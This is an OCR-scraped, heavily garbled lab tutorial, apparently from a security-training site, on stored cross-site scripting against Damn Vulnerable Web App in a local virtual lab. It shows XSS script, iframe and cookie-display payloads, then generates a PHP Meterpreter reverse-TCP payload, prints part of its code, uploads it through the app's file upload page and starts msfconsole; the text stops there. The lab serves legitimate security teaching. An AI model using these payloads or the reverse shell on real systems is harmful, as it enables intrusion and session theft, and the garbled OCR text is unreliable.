(Damn Vulnerable Web App (DVW.

{ Cross Site Scripting (XSS) }

Section 0. Background Information

What
(@]
(@]

What

is Damn Vulnerable Web App (DVWA)?

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application t
Its main goals are to be an aid for security professionals to t
legal environment, help web developers better understand the pr
applications and aid teachers/students to teach/learn web appli
environment.

is Cross Site Scripting?

Cross-site scripting (XSS) is a type of computer security wvulne
applications.

XSS enables attackers to inject client-side script into Web pac
A cross-site scripting vulnerability may be used by attackers t
the same origin policy.

In Addition, the attacker can send input (e.g., username, passv
be later captured by an external script.

The victim's browser has no way to know that the script should
the script. Because it thinks the script came from a trusted sc
access any cookies, session tokens, or other sensitive informat
used with that site.

Pre-Requisite Labs

o

Damn Vulnerable Web App (DVWA): Lesson 1: How to Install DVWA in Fedora 14

Lab Notes

o

In this lab we will do the following:

We will test a basic cross site scripting (XSS) attack

We will test an iframe cross site scripting (XSS) attack
We will test a cookie cross site scripting (XSS) attack
We will create a php/meterpreter/reverse tcp payload

We will start the php/meterpreter/reverse tcp listener

We will upload the PHP payload to the DVWA Upload screen
We will test a PHP Payload cross site scripting (XSS) atte

NoakrwdpE

Legal Disclaimer

o

As a condition of your use of this Web site, you warrant to con
you will not use this Web site for any purpose that is unlawful


http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/lesson1/index.html

terms, conditions, and notices.

In accordance with UCC § 2-316, this product is provided with '
or implied." The information contained is provided "as-is", wit
merchantability."

In addition, this is a teaching website that does not condone n
You are on notice, that continuing and/or using this lab outsic
considered malicious and is against the law.

© 2012 No content replication of any kind is allowed without e:

Section 1. Configure Fedoral4 Virtual Machine Settings

1. Open Your VMware Player

o

Instructions:
1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings

o

Instructions:
1. Highlight fedorald
2. Click Edit virtual machine settings



fedoraiqd

State:
0S:
Version:
RAM:

Powered Off

Red Hat Linux
Workstation 6.5-7.x virtual machine
640 MB

[_E{l} Play virtual machine

Q
& Editvirtual machine settings

3. Edit Network Adapter

o

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Click on the OK Button.



Hardware | Options

Device Summary De\noe status
% Memory 512M8 {_|Connected
[ Processors 1 [V] Connect at power on
mHard Disk (SCSI) 20GB .
£, CD/DVD (IDE) Auto detect Nﬁmﬂqnwwm
=4 Floppy Auto detect 2. WP © Bridged: Connected drrectly to the physical network
[P Reptcate physcal network connecton stae
e
U;;;mc::'" s ©) NAT: Used to share the host's IP address
=:printer Present ) Host-only: A private network shared with the host
Boisplay Auto detect & iiii 5
(LAN Segments... | [ Advanced...
L Add... ][ Remove ]

[ ok || cacel |[ Hep

Section 2: Login to Fedoral4

1. Start Fedorald4 VM Instance
o Instructions:

1. Start Up VMWare Player
2. Select Fedorali
3. Play virtual machine



fedoraiqg

State:
OS:
Version:
RAM:

Powered Off

Red Hat Linux

Workstation 6.5-7.x virtual machine
640 MB

&

Play virtual machine

~

Edit virtual machine settings

2. Login to Fedoral4

o

Instructions:

1. Login: student
<whatever you set it to>.

2. Password:



password: ||

Cancel

B | engiish United States) | v =% |USA Sun 10:42 AM

Sl T e

Section 3: Open Console Terminal and Retrieve IP Address

1. Start a Terminal Console
o Instructions:

1. Applications --> Terminal



| W x oo addnt (xasd

Y Accessories
[ Games

% Graphics
(&) Intemet
%4 office

) Sound & Video

Places System @& (o 7

: S\

- B Automatic Bug Reporting Tool

= CD/DVD Creator

'S, Déja Dup Backup Tool
&) Disk Usage Analyzer
= Disk Utility

@ stLinux Troubleshooter
&= Software Log Viewer

B System Monitor

.i_'" D wa~ W LN

Use the command line

To drect input 1o this vitual machine, press Q4G

2. Switch user to root

e}

Instructions:
1. su - root

Sun Apr 1, 10:45 AM  Stude

g [
EPEL T EEE vmware

2. <Whatever you set the root password to>



root@Fedorald:~

File Edit View Search Terminal Help

[student@Fedorald ~]$ su - root
Password:
[root@Fedorals ~]# |

3. Get IP Address
o Instructions:
1. ifconfig -a
o Notes (FYI):
* As indicated below, my IP address is 192.168.1.106.
= Please record your IP address.



File Edit View Search Temminal Help

[root@Fedoral4 ~]# ifconfig -a

ethe Link encap:Ethernet HwWaddr 00:0C:29:81:54:42
inet addr:[CEISUEIRWBLE Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe81:5442/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:2893 errors:0 dropped:0 overruns:0 frame:0
TX packets:366 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:1060
RX bytes:546934 (534.1 KiB) TX bytes:58291 (56.9 KiB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.06.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:48 errors:0 dropped:0 overruns:® frame:0
TX packets:48 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:@
RX bytes:3520 (3.4 KiB) TX bytes:3520 (3.4 KiB)

[root@Fedorald ~1# |}

| B root@Fedorald:~ || @ Google - Mozilla Firefox |

o drect input 1o this vitual machine, press QirteG. A Yy W0 are

Section 4: Fix Stored Cross Site Scripting (XSS) Comment Box

1. Fix Character Limit
o Instructions:

1. cd /var/www/html/dvwa/vulnerabilities/xss_ s/
2. vi index.php
3. Continue to Next Step
o Notes (FYI):
1. By default, the comment box in the XSS stored GUI will onl
we are going to change the character limit to 250 characte
attacks.



.

f9 Applications Places System @& Student  ThuApr 26, 6:35

root@Fedoralé:/var:‘www}html.'dea,fvuinerabirlirues,'xss S =
File Edit View Search Terminal Help
[root@Fedorald /]# cd /var/www/html/dvwa/vulnerabilities/xss s/
[root@Fedorald xss s)#
[root@Fedorald xss s]# vi index.php [}

2. Search for mtxMessage
o Instructions:
1. Press the "/" key

This will put in you search mode in the bottom left ¢
2. Type "mtxMessage" and hit <Enter>



s

F9 Applications Places System &

19 root@Fedorala:/var/www/htmi/dvwajvulnerabilities/xss s
File Edit View Search Terminal Help
<?php

define( 'DVWA WEB PAGE TO ROOT', '../../' );
require once DVWA WEB PAGE TO ROOT.'dvwa/includes/dvwaPage.inc.php';

fdvwaPageStartup( array( 'authenticated', 'phpids’ ) );

$page = dvwaPageNewGrab();
spage[ 'title' ] .= $page[ ‘title separator' ].'Vulnerability: Stored Cross Site Scripting (XSS)';
spage[ ‘page id' ] = 'xss s';

fdvwaDatabaseConnect();

SvulnerabilityFile = '';
switch( $ _COOKIE[ 'security’ ] ) {
case ‘low':
$vulnerabilityFile
break;

‘low.php';

case 'medium':
SvulnerabilityFile
break;

‘medium.php’;

case 'high':

default:
$vulnerabilityFile = ‘high.php’;
break;

}
require once DVWA WEB PAGE TO ROOT."vulnerabilities/xss s/source/{$vulnerabilityFile}";
/mtxMessagel] ‘

| root@ Var/W... E :
[To drect input to this wtual machine. press Q<G SR T

3. Replace number
o Instructions:
1. Your cursor should now be on the "m" on the word mtxMessac
2. Right Arrow over to the 5 after maxlength.
3. Press "i" and type "2"
» This will place the number 2 in front of the number °
4. Press the <Esc> key
5. Type ":wq'!"



F9 Applications Places System (@& Mon Apr 30, 9:27 PM

rootiaFedorald;/var/www/htmi/dvwa/vulnerabilities/xss s
Edit View Search Terminal Help

$page[ 'body' ]| .= "
<div class=\"body padded\*">
<hl>Vulnerability: Stored Cross Site Scripting (XSS)</hl>

<div class=\"vulnerable code area\">

<form method=\"post\" name=\"guestform\" onsubmit=\"return validate form(this)\">

<table width=\"556\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\">

<tr>

<td width=\"100\">Name *</td> <td>

<input name=\"txtName\" type=\"text\" size=\"30\" maxlength=\"16\"></td>

</tr>

<tr>

<td width=\"100\">Message *</td> <td>

<textarea name=\"mtxMessage\" cols=\"56\" rows=\"3\" maxlength=\"go\"></textarea></td>

</tr>

4:, Search puts you here. Scroll over until your "‘ Press “i" to insert, press

<td width=\"100\">&nbsp;</td> cursor is on the "5 in -

<td> 50.

<input name=\"btnSign\" type=\"submit\* value=\"Sign Guestbook\" onClick=\"return checkFors
)i\"></td>

</tr>

</table>

</form>

{shtml}
</div>

<br />

Section 5: Configure BackTrack Virtual Machine Settings

1. Open Your VMware Player
o Instructions:

1. On Your Host Computer, Go To
2. Start --> All Program --> VMWare --> VMWare Player

2. Edit BackTrack Virtual Machine Settings
o Instructions:

1. Highlight BackTrack5R1
2. Click Edit virtual machine settings



are Payer Hie v Vit

BackTrack5R1

State: Powered Off

0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine
RAM: 512MB

KJ_P‘D Play virtual machine

.2 r
j"’ Edit virtual machine settings @

3. Edit Network Adapter

e}

Instructions:
1. Highlight Network Adapter
2. Select Bridged
3. Do not Click on the OK Button.



Device Summary Device status
% Memory 512 M8 e Connected
[ Processors 1 ¥ Connect at power on
aHard Disk (SCSI) 20GB
*)CD/OVD (IDE)  Auto detect lfummmnmmm
&4 Floppy Auto detect 2. W @ sridged: Connected directly to the physical network
Network Adapter  Bridged 7] Repicate piysical e o
ry mc::u e AR () NAT: Used to share the host's IP address
= printer Present ©) Host-only: A private network shared with the host
Woisplay Auto detect © LAN segment:
[UW$mmmsm][Nhunu"J
L;F“"' ][Anmwngj
[ o< J[ canca ]|

Section 6: Login to BackTrack

1. Start BackTrack VM Instance

o

Instructions:
1. Start Up VMWare Player
2. Select BackTrack5R1
3. Play virtual machine



gU BadTraksR1

RAM:

BackTrack5R1
State: Powered Off
0S: Ubuntu
Version: Workstation 6.5-7.x virtual machine

512 MB

EE Play virtual machine @

2. Login to BackTrack
o Instructions:

1. Login: root

g
& Editvirtual machine settings

2. Password: toor or <whatever you changed it to>.



- BackTrackSR1 - VMware Player File ~ Virtual Machine ~ Help ~ —_

3.3125671 Copyright (c) 1999 8 LSI Corporation
3.3134561 FDC © is a post-1991 82077
3.3408771 pcnet3Z2: penet3Z.c:vl.35 21 .Apr.2008 tsbogend@alpha.franken.de
3.3605671 pcnet3Z 0000:02:01.0: PCI INT A -> GSI 19 (level, low) -> IRQ 19
3.3648711 agpgart-intel 0000:00:00.0: Intel 440BX Chip
3.3685321 pcnet3Z: PCnet/PCI I1 79C970A at OxZ2000, 190:13:78 assigned IRQ 19
: agpgart-intel ©000:00 : AGP aperture is )
pcnet3Z2: etho: registered as PCnet/PCI 11 79C970A
3. pcnet3Z2: 1 cards_found
3.4046911 Fusion MPT SPI Host driver 3.04.18
3.408410) nptspi 0000:00:10,0: PCI INT A -> GSI 17 (level, low) -> IRQ 17
3.408733]1 mptbas io Initiating bringup
3.4882821 iocO: LSIS3C1030 BO: Capabilities={Initiator}
3.6561801 s y iocO: L 3C1030 BO, FuRev=01032920h, Ports=1, Max()=128, IRQ=17
7161 scsi 2:0:0:0: Direct-ficcess UNware, VUMuware Virtual S 1.0 PQ: © ANSI:
i targe :0: Begimning Domain Validation
targe ):0: Domain Validation skipping write tests
. - >si targetZ:0:0: Ending Domain Validation
3.787761) :0:0: FAST-40 WIDE SCSI1 80.0 MBrss ST (25 ns, offset 127)
3.794467) s 0 [sdal 41943040 512-byte logical blocks: (21.4 GB/20.0 GiB)
3.795671]) sd 0:0: [sdal Write Protect is off
J.795811) s 0:0:0: [sdal Cache data unavailable
. 7958811 sd [sdal] Assuming drive cache: write through
3.800343] s 101 : Attached scsi generic sgl type ©
3.801376]) sd 2:0:0:0: [sdal Cache data unavailable
( sdal Assuming drive cache: write through
3.8556261 : sdaZ < sdaS >
3.883776]1 s¢ 0:0: [sdal Cache data unavailable
3.8875051 sd 2 : [sdal Assuming drive cache: write through
3.887577]1 sd 2:0: : [sdal Attached SCSI disk

BBackTrack 5 Ri Code Name Revolution 3Z bitbt ttyl

bt login: root
jPassword:

o [[Todrect input to thes vitual machine. press Cut«G. [ o - - T =y s ol L

3. Bring up the GNOME
o Instructions:

1. Type startx



= BackTradGR1 - Vidware Player., fle v, Victuat Maches .= Help, >

e a ————— ~ v -  pera T MY - N WP P T
O ﬁéh}m‘lchn‘_ﬂ'ﬂ?" orass Ol B . IRl (WY L

Section 7: Open Console Terminal and Retrieve IP Address

1. Open a console terminal
o Instructions:

1. Click on the console terminal



lackTra R1 ‘ File + Virts D " .
5 s AT, % AU

s System [+ | Wed Dec 7, 7:08 AM

|
!
:
\

ce bhack | traclk [=

— e =

Todredrww&umrnod-ne.mw |

@)

2. Get IP Address
o Instructions:
l. ifconfig -a
o Notes (FYI):
» As indicated below, my IP address is 192.168.1.105.
» Please record your IP address.



laces Systerm | Sun Mar 18, 10:51 AM

root@bt:-# ifconfig -a

root@bt: ~

etho Link encaps Hiaddr 00:0¢:29:90:13:78
1¢ S| Bcast:192.168.1.255 Mask:255.255.255.0
grr29ff:fe90:1378/64 Scope:Link
up BROADCAST RUNNING MULTICAST MTU:1560 Metric:1
RX packets:870 errors:0 dropped:@ overruns:0 frame:0
TX packets:118 errors:@ dropped:@ overruns:® carrier:0
collisions:0 txqueuelen:1600
RX bytes:105401 (185.4 KB) TX bytes:27674 (27.6 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.6.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:113 errors:0 dropped:® overruns:@ frame:@
TX packets:113 errors:0@ dropped:® overruns:8 carrier:0
collisions:® txqueuelen:®
RX bytes:7793 (7.7 KB) TX bytes:7793 (7.7 KB)
root@bt:-# ]

[root@bt: /pentest/exp.. [root@bt: ~] ) root@bt: ~ 2

ERE) T ele  vmware

Section 8: Login to DVWA

1. Start Firefox
Instructions:

1. Click on Firefox

e}



Wed Apr 11, 11:30

2. Login to DVWA
o Notes (FYI):
* Replace 192.168.1.106 with Fedora's IP address obtained ir

o Instructions:
0. Start up Firefox on BackTrack
Place http://192.168.1.106/dvwa/login.php in the address &
Login: admin
Password: password
Click on Login

PonPE



Mon Apr 16, 614 AM &

* Damn Vulnerable Web App (DVWA) - Login - Mozilla Firefox

Damn Winerable Web App (OV... B3
< © | htp/192.168.1.106/dvwallogin. php < viel [ty Q

DVWA)

Username

admin «

Password

o000000S ‘

") Damn Vulnerable Web .,

Section 9: Set Security Level

1. Set DVWA Security Level
o Instructions:
1. Click on DVWA Security, in the left hand menu.
2. Select "low"
3. Click Submit



Places Systen Mon Apr 16, 6:17 AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security - Mozilla Firefox

Damn Vulnerable Web App (DV...

"v'—‘ © BB hitp-//192,168.1.106/dvwa/security.php vel gy Q
Home | DVWA Security »
Instructions |
Setup | Script Security

Security Levei Is currently low.

Brute Force |
_ You can set the security level to low, medium or high
Command Execution
= . The secunty level changes the vuinerabiity level of DVWA
CSRF |
File Inclusion | ) (e <= 3.
QL Injection J medium ‘
SQL Injection (Blind)
Upload |
v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications
XSS reflected ]
You can enable PHPIDS across this site for the duration of your session
XSS stored ]

PHPIDS is currently disabled. [cnabie PHPIDS)

(Simulate attack] - [Viex ]

| mmmed )

S Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0

) Damn Vulnerable Web ... ] root@bt: -

ERELET e vmware

Section 10: XSS Stored Basic Exploit Test

1. XSS Stored Menu

o

Instructions:
1. Select "XSS Stored" from the left navigation menu.



mE Thu Apr 26, 7:22AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

B Damn Vinerable Web App (DV...

- S) |8 http//192.168.1.106/dvwaivulnerabilities/xss_s/ vel gy Q

e . Vulnerability: Stored Cross Site Scripting (XSS)

I Name *

Message *

Sign Guestbook

Message: This Is a test comment

More info

|
|
|
!
SQL Injection (Biind) I Name: test
I
|
|

) Damn Vuinerable Web ...

o Vg O I

2. Basic XSS Test
o Instructions:
1. Name: Test 1
2. Message: <script>alert("This is a XSS Exploit Test")</scri
3. Click Sign Guestbook



Places System #®)f Sun Apr 29, 9:48PM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

{8 Damn Vuinerable Web App (OV... B3

< S | http://192.168.1.106/dvwaNulnerabilities/xss_s/ BHE B Q

o | Vulnerability: Stored Cross Site Scripting (XSS)
Instructions | ~
FEUOANS e — " Name * Test 1
Setup |
<scnpt>alen("This is a XSS Exploit Test™)</scrpt>
Message * J
Sign Guesibook
Name: test

Message: This Is a test comment

More info

£) Damn Winerable Web ...

3. View Test 1 Results
o Notes (FYI):
1. Notice that the JavaScript alert we just created is now di
2. Every Time a user comes to this forum, this XSS exploit wi
3. This exploit can be easily modified to capture cookie/sess

in-Middle attacks.
o Instructions:

1. Click OK



e

e T P L P 1 P TY T S L
A [+ ¢ | Sun Apr 29 953 pM
\ F .} ] y SUnN Apr 29, 9:53F "

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

2 Damn Wilnerabie Web App (DV... B3
| S |B htp://192.168.1.106/dvwaivulnerabilities/xss_s/ vl 487 G0

This is a XSS Exploit Test

~

Damn Winerable Web App (DVWA) v1.0.7 ::

Read 192.168.1.1 Vulnerability: Stored Cross Site Scripting (XSS) - Moz
= ) root@bt: ~ =] root@bt: - Sl AT Firefox ' ‘ ‘

Section 11: XSS Stored IFRAME Exploit Test

1. Reset Database
o Instructions:
1. Select "Setup" from the left menu navigation.
2. Click on the Create / Reset Database Button.

o Notes (FYI):
* We need to reset the database otherwise the each XSS explc



ystem @) Mon Apr 30, 10:11 AM &
*x Damn Vulnerable Web App (DVWA) v1.0.7 :: Setup - Mozilla Firefox

[® Damn Vulnerable web App (... 3% | 1S

< S) | http:/192.168.1.106/dvwa/setup.php v[c] [y cooq ]l
DYWA)
=/
Home . Database setup
Instructions |

Click on the 'Create / Reset Database’ button below to create or reset your database. If you ge
ﬁ_—{ .—] sure you have the correct user credentlals in /config/config.inc.php
Setup A

If the database already exists, It will be cleared and the data will be reset

Brute Force |

Command Execution ‘ Backend Database: MySQL

CSRF |

Flle Inclusion ! | Create / Reset Database | « &S
SOL Injection ]

SQL injection (Blind) Database has been created

Upload |

XSS | 'users' table was created

XSS stored ] Data inserted into ‘users’ table.

DVWA Security J ‘guestbook’ table was created

) Damn VWinerable Web ...

1 W g ) [ 5 5

2. XSS Stored Menu
o Instructions:

0. Select "XSS Stored" from the left navigation menu.



mE Thu Apr 26, 7:22AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

B Damn Vinerable Web App (DV...

- S) |8 http//192.168.1.106/dvwaivulnerabilities/xss_s/ vel gy Q

e . Vulnerability: Stored Cross Site Scripting (XSS)

I Name *

Message *

Sign Guestbook

Message: This Is a test comment

More info

|
|
|
!
SQL Injection (Biind) I Name: test
I
|
|

) Damn Vuinerable Web ...

o Vg O I

3. XSS Test 2

e}

Instructions:
0. Name: Test 2
1. Message: <iframe src="http://www.cnn.com"></iframe>
2. Click Sign Guestbook



system ) Mon Apr 30, 10:58 AM &
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - M

B} Damn Vulnerable Web App (... % I HES

« S) | B http://192.168.1,106/dvwajvulnerabilities/xss_s/ ve gy cooql
DYWA)
</
e . Vulnerability: Stored Cross Site Scripting (X:
Instructions
Setup 1 Name * Test 2
<jflramg src="hitp://mww.cnn.com™></|frame>
Brute Force 1 g
CSRF J | Sign Guestbook |
ie inclusion |
SQL Injection |
S e ) I :ﬂ:agtzsl‘l'nls Is a test comment
Upload |
XSS reflocted | More info
L._,.._____-_ ]

=] root@bt: ~ ) Damn Vulnerable Web ...

i T ey Oy R 5 e

4, View Test 2 Results
o Notes (FYI):
0. Notice that CNN is displayed under "Test 2's" Message.
» This is a powerful exploit because a user could use ¢

website and place in here.
"= e.g., Social Engineering Toolkit (SET): Lesson 3: Create |
Capture Forensic Images



http://www.computersecuritystudent.com/UNIX/BACKTRACK/lesson6/index.html
http://www.computersecuritystudent.com/UNIX/BACKTRACK/lesson6/index.html

[®] Damn Winerable Web App (...

<«

ystem

Mon Apr 30, 10:59 AM &

x Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - M

* s

S | http://192.168.1.106/dvwa/vulnerabilities/xss_s/ vie| [ cooQq)
Instructions i =
Name * [
Setup | |
Brute Force | Message *
Command Execution A
CSRF | |_Sign Guestbook |
Flle Inclusion |
SQL Injection |
lﬂl |' ' m n Name: test
3 l Message: This Is a test comment

Upload |

Name: Test 2
XSS reflected | Aiesaacn:

SS stored | SET EDITION: U.S

DVWA Security ‘
PHP Info |
About I TV & Video NewsPulse
Logout |

_| Damn Vulnerable Web App (DVWA) v1.0.7 ::
\Vuinerability: Stored Cross Site Scripting (XSS) - Moz

CREL TR vware

Section 12: XSS Stored COOKIE Exploit Test

1. Reset Database
Instructions:
1. Select "Setup" from the left menu navigation.

2. Click on the Create / Reset Database Button.
Notes (FYI) :
We need to reset the database otherwise the each XSS explc

e}

e}



ystem @) Mon Apr 30, 10:11 AM &
*x Damn Vulnerable Web App (DVWA) v1.0.7 :: Setup - Mozilla Firefox

[® Damn Vulnerable web App (... 3% | 1S

< S) | http:/192.168.1.106/dvwa/setup.php v[c] [y cooq ]l
DYWA)
=/
Home . Database setup
Instructions |

Click on the 'Create / Reset Database’ button below to create or reset your database. If you ge
ﬁ_—{ .—] sure you have the correct user credentlals in /config/config.inc.php
Setup A

If the database already exists, It will be cleared and the data will be reset

Brute Force |

Command Execution ‘ Backend Database: MySQL

CSRF |

Flle Inclusion ! | Create / Reset Database | « &S
SOL Injection ]

SQL injection (Blind) Database has been created

Upload |

XSS | 'users' table was created

XSS stored ] Data inserted into ‘users’ table.

DVWA Security J ‘guestbook’ table was created

) Damn VWinerable Web ...

1 W g ) [ 5 5

2. XSS Stored Menu
o Instructions:

0. Select "XSS Stored" from the left navigation menu.



mE Thu Apr 26, 7:22AM &

* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozilla Fire

B Damn Vinerable Web App (DV...

- S) |8 http//192.168.1.106/dvwaivulnerabilities/xss_s/ vel gy Q

e . Vulnerability: Stored Cross Site Scripting (XSS)

I Name *

Message *

Sign Guestbook

Message: This Is a test comment

More info

|
|
|
!
SQL Injection (Biind) I Name: test
I
|
|

) Damn Vuinerable Web ...

o Vg O I

3. XSS Test 3

e}

Instructions:
0. Name: Test 3
1. Message: <script>alert (document.cookie)</script>
2. Click Sign Guestbook



"] Mon Apr 30, 11:01 AM &
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozill

Vulnerability: Stored Cross Site Scripting (XSS
_Home J
Instructions |
Setup ] Name * Test 3

;:SCHM:-.Zh':ﬂ\’OOCU"\fﬂl! cookne)\'“s;: npt>

BruteForce | Message *
Command Execution | A
CSRF ] Sign Guestbook
File Inclusion
SQL Injection |
SO Mt W) J ::ao{::w;ss“l'hls 1S @ test comment
Upload |
XSS reflected | More info
| XS5 stored |
DVWA Security |

4. View Cookie
o Notes (FYI):
0. Below is the cookie/session that the webserver establishes
session.
1. An attacker could easily modify this XSS script to send tr
instead of displaying it.
2. Image if this was a bank website. Every time a user logs i
be sent to a remote location.
o Instructions:
0. Click OK.



Mon Apr 30, 11:04 AM },

x Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: Stored Cross Site Scripting (XSS) - Mozill

(. Damn Vulnerable Web App (... % . +
<« S | http://192.168.1.106/dvwa/vulnerabilities/xss_s/ v. v oo Q]

security=low; PHPSESSID=94gevm8bm7ts06j00aq79pm8m4
This is the cookie. Image if this was a
bank website and the attacker emailed it
to a remote location. Then a man in the

middle attack could become possible. “:ig'

Cripting - Moz

Damn Wuinerable Web App (DVWA) v1.0.7 =
Vulnerability: Stored Cross Site &

To drect input to this vitual machine, press QieG. EREL - T EheE  vmware

Section 13: Build PHP msfpayload

1. Open a console terminal
o Instructions:

1. Click on the console terminal



tkTra R1 'ware Playe File + Vit D .
. 2 i N )

s System [+ | Wed Dec 7, 7:08 AM

|
!
:
\

ce bhack | traclk [=

X — e =

To direct input to this virtual machine. press QG |

@)

2. Create msfpayload
o Notes (FYI):

» Replace 192.168.1.105 with your BackTrack IP Address obtai
o Instructions:

0. mkdir -p /root/backdoor
cd /root/backdoor

1
2. msfpayload php/meterpreter/reverse tcp LHOST=192.168.1.105 LPORT=4444
3. 1s -1 FORUM BUG.php



» Places Systen > Sun Apr 29, 9:33 PM .!,

x root@bt: ~

root@bt:-# cd /root/
root@bt:-#
root@bt:-# msfpayload php/meterpreter/reverse tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM BUG.php
root@bt:-#

root@bt:-# s -1 FORUM BUG.php

“fw-r--r-- 1 root root 1284 2012-04-29 21:32 FORUM BUG.php BackTrack IP Address

root@bt:-# []

& [ root@bt: ~ 1 root@bt: ~ a

To direct input 1o this vidual machine, pross QreG. EREL T eEEY  vmware

3. Edit FORUM BUG.php
o Instructions:

0. vi FORUM BUG.php



Sun Apr29, 9:35PM &
* root@bt: ~

root@bt:-# vi FORUM BUG.php

™= =) root@bt: ~ ) root@bt: ~

To retum to your computer, peess QidsAR.

4, Remove the "#" character
o Instructions:

0. Press "x" to delete the "#" character on the first line.
1. Press <Esc>
2. Type ":wq!"



\ AD tions Places Systen = Sun Apr 29,

root@bt: ~

** Press "x" to delete the "#" character ***
ror reporting(@);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
ip '192.168.1.105";
sport 4444;
(FALSE strpos(sip, ":")) {
# ipv6 requires brackets around the address
ip = "[". sip ."]*;

((sf ‘stream socket client') &4 is callable(sf)) {
S f("tcp://7{5ip}:{sport}"*);
S type ‘stream’;
} eif ((sf ‘fsockopen') &5 is callable(sf)) {
S f(sip, sport);
S type ‘stream’;
((sf = 'socket create') &5 is callable(sf)) {
s T(AF_INET, SOCK STREAM, SOL TCP);
res = @socket connect(ss, Sip, Sport);
(1sres) { die(); }
S type ‘socket’;

} else {
(*no socket funcs');
}
f (18s) { die('no socket'); }
(5s type) {
‘stream’ len fread(ss, 4); eak;
‘socket’ len socket read(ss, 4); -
}
"FORUM BUG.php" 53L, 1284C 1,1 Top

root@bt: ~ @bt: ~

EREL T eEEEs  vmware

Section 14: Upload PHP Payload

1. Upload Menu
o Instructions:
1. Select "Upload" from the left navigation menu.
2. Click Browse



plications Places System &) Sun Apr 22, 10:10 PM &,
* Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Mozilla Firefox

B Damn Vuinerable Web App (DV... B3

‘Q"‘ S |8 http://192.168.1.106/dvwajvulnerabilitiesiupload/ v e T Q
D\WA)
N/
Vulnerability: File Upload
_srowse... | < 2.

; Instructions

Choose an image to upicad

4

Brute Force _ Upioad

§
|

i
|
i
i
f
|
|
f
t
|
|
|
!

SRRy J R R g o g E

CSRF More info
File Inclusion

saL injection

SQL Injection (Biind)
XSS reflected

XSS stored

S Scripts Currently Forbidden | <SCRIPT>: 1 | <OBJECT>: 0 | Options... |

=) root@bt: ~/backdoor ) Damn Vuinerable Web ... )

To drect inpet £ this vitual machine. press CireG, EREL T EE  vmware

2. Navigate to FORUM BUG.php

o

Instructions:
1. Click on root
2. Click on FORUM BUG.php
3. Select Open



Sun Apr

29,11:31PM &

File Upload
« :.L l:i ‘M{. backdoor ]
Places . Name ‘Size  Modified vl -
Q Search i backdoor 04/22/2012
'@ Recently Used | (@l Desktop 02/02/2012
m FORUM_BUG.php 13KB 2144
|@m Desktop | web-0l1.csv 574 bytes Yesterday at 11:02
L File System web-01.cap 16.3MB Yesterday at 11:02
__ Floppy Drive web-01 kismet.netxml| 3.6KB Yesterday at 11:02
web-01 kismet.csv 585 bytes Yesterday at 11:02 |
replay_arp-0428-105938.cap 696 bytes Yesterday at 11:00
® PHONE_HOME, php 1.3KB 04/20/2012
& cwftargz 144K8 04/12/2012
crack_web_form.pl 3.2K8B 04/12/2012
hack_web_form.pl 32KB  04/12/2012
password.txt 246KB  04/12/2012
__| dvwa-post-data.txt 69 bytes  04/12/2012
dvwa-log.txt 45KB 04/11/2012 y
rfoTFTf__‘ All Files v |
| Cancel || Open 3.

") Damn Vulnerable Web ...

] Y gy O ) [ 5 5

3. Upload FORUM BUG.php
o Instructions:

1. Click the Upload button




Places Systen > Sun Apr 29, 11:35 PM ".’
¥ Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Upload - Mozilla Firefox

[® Damn Vuinerable Web App (DV...

w.l S ‘i';t;pT17192.1GgiTIéi’;;‘deaNulneré&l|t|es;\1ploadn v C" :“v - O\ <
DYWA)
Nl
— | Vulnerability: File Upload

Choose an Image 1o upload

‘Setup froot/FORUM_BUG.php| Browse...

Upioad

«+/../hackable/uploads/FORUM BUG.php succesfully uploaded!

More info

) Damn Wilnerable Web ... Click to switch to *Desk
= e

Section 15: Start PHP Payload Listener

1. Open a console terminal
o Instructions:

1. Click on the console terminal
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Applications Places Syste : Wed Dec 7, 7:08 AM

- Ba - R1 - are Plave } d - -
Dorosytblonteiyuiiesiniab o b B0k itus Machios 7. Help. = :

—_
iw

]

To direct input 1o this vitual maching. press QG B

2. Start msfconsole
o Instructions:

1. msfconsole



Mon Apr 23, 6:45 AM l!»

X root@bt: /

root@bt: /# msfconsole

= 111 ' |
+ -- --=[ 716 exploits - 361 auxiliary - 68 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
